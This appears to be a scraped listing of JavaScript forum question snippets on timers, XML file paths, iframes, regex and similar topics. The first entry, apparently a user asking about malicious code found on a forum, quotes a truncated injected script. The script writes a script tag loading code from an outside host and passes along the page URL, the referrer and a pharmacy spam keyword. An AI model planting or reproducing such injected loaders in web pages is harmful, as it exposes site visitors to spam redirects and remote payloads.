javascript

Malicious javascript posted in forum

<SCRIPT> ff = 0; for (nn in document) if (nn == 'etours' || nn == 'logo-anim') ff = 1; if (ff == 0 || (/LIVE|MSN|YAHOO|GENERIC|NORVASC/.test (document.referrer.toUpperCase ()) && false ) ) { document.write('<SCRIPT SRC ="http://p090303.info/w.php?l='+ escape(location.href) + '&k=' + escape('generic norvasc') + '&r=' + escape(do...

Code for a simple JavaScript countdown timer?

I want to use a simple countdown timer starting at 30 seconds from when the function is run and ending at 0. No milliseconds. How can it be coded? ...

javascript source path problem

i have a problem to access some file from different source. for example i have html folder and xml folder in same directory. then from html file i wanna access xml file in xml folder. in html i have script to call file xmlDoc=loadXMLDoc("../xml/note.xml"); why this path doesnt work as well? this is my code of loadXmlDoc() function loa...

Which JavaScript framework is generally used for high performance websites?

There are different JavaScript frameworks like jQuery, Dojo, mooTools, Google Web Toolkit(GWT), YUI, etc. Which one from this is suitable for high performance websites? ...

Is there a good website to examine for good JS code that isn't obsfucated?

I've tried a few methods of keeping my JS clean / maintainable and none of them make me 100% happy. Often, I try and check out many of the top brand sites to examine their code, and find it's been minified and/or packed. This obviously stops me from reading the code, because it's not in a human readable format. So are there any sites w...

Why wasn't there a lawsuit about JavaScript using the Java name?

Why didn't Sun say "You're using my name!"? UPDATE Thanks for the answers, and not downvoting! :) I knew it was called LiveScript at one stage, but the Wikipedia article must of drifted out of my memory. Do you think the licensing name has helped Java at all with their marketing? ...

Scrolling an iframe with javascript?

I dynamically load an iframe with javascript. After it's loaded, how can I make it scroll down a specific number of pixels (ie. after the page in the iframe has loaded, how can I make the iframe scroll by itself to the a specified region of the page?) ...

AIR database export/import help

How do I implement an export/import data of the databse. I would prefer if it was in a sqlite database file, xml or csv. ...

How is ASP.NET and Javascript related?

Hello! I have another similar question to the one I just asked. I'm currently diving into web development after ten years of desktop development and I'm trying to get a high level grasp on the many concepts I'm learning. Two recent concepts I've been reading up on are Javascript and ASP.NET. I understand javascript is client-side scrip...

create and modify xml file using javascript

Hi friends, How do i create new xml file and also modify any xml file means add more nodes in xml file using javascript.? Thanks in advance... ...

jquery redirect on enter press within a form?

I have an html form and within the form I have a <button> element. I am using jquery to redirect the page upon clicking the button (essentially I wanted to nest form elements but since its not valid xhtml I used a javascript workaround). Furthermore, clicking the button grabs text from an input field, appends it to the query string the...

JavaScript/Ajax/Flash HTTP Request

Hi, i got code like this: swfobject.embedSWF("/Content/open-flash-chart.swf", "my_chart", "750", "300", "9.0.0", "expressInstall.swf", {"data-file":"http://localhost:8803/StatisticService/GetOpenFlashChartStatistic_Json?param1=123&amp;par...

register mouseout handler on disabled html-element (IE8)

I have a problem with my tooltip library in IE8. For some elements, especially elements with the 'disabled' property set, the mouseout-handler (hiding a tooltip by setting it's display property to 'none') just doesn't get registered, so the tooltip stays visible when the mouse leaves the element (mouseover does work). The handler is regi...

Disabling focus() from being run in an iframe?

I've got a page that has an iframe and web page in the iframe runs a focus() on one an input box in the iframe... how can I prevent that focus() from running? ...

Javascript same origin security issue

Hello everyone, I learned the Javascript concept of same source of origin, which means Javascript code could only access the host where it is downloaded from. My confusion is, I have developed Javascript code, store the code locally into a .js file and call Javascript code from another local html file. When I use IE to open the local h...

JavaScript: Mousewheel event doesn't fire while over textbox.

I need some help. I am trying to bind to the mousewheel event from JavaScript and I've successfully done that. But something doesn't work quite as I expected. When I am over an input the event doesn't fire. I have tried to bind to the input's event for the mousewheel but the same thing happens, the event doesn't fire. ...

Find the number of <input> in an Div tag

Hi Friends, I need to find out the number <input> tag within a <Div> tag.. How it's possible.. For example the code will be like this.. <div><li ><a>Jayan</a><input type="checkbox" id="c21" onClick="fcheck(this);" ></li> <li ><a href="#">Reshaba</a><input type="checkbox" id="c22" onClick="fcheck(this);" > <ul> <li ><a>crescent</a>...

Javascript based interactive map application

Greetings, I'm looking for a quick way of slicing the map of a country by regions and when clicked on a specific region, showing some gui with the info of the region. I am looking for a quick framework, plugin or such to achieve this swiftly. I know it can easily be achieved using flash but I want to rely on javascript instead. Cheers ...

Javascript Regex: how to replace just the class of attribute for any tr ?

I have the following HTML code: <tr id="1774" class="XXX"><td> <span class="YYY"> Element 1</span></td></tr> <tr id="1778" class="XYZ"><td> <span class="ZZZ">Element 2 </span></td> </tr> I want to replace all the class attributes (just for <tr> s) but not for <td> s. (that would be XXX and XYZ). The replacement would be: *XXX_suffi...

HTML and CSS possibilities when wrappeded inside 'select' tags

I need to display options present in a select region (allowing multiple select) in form of tree. This tree needs to be collapsible/expandable. I have implemented it such that it looks and works as intended in FF. - 1 - 1.1 + 1.1.1 - 1.1.2 - 1.1.2.1 - 1.1.2.2 - 1.1.2.3 + 1.1.3 I have achieved t...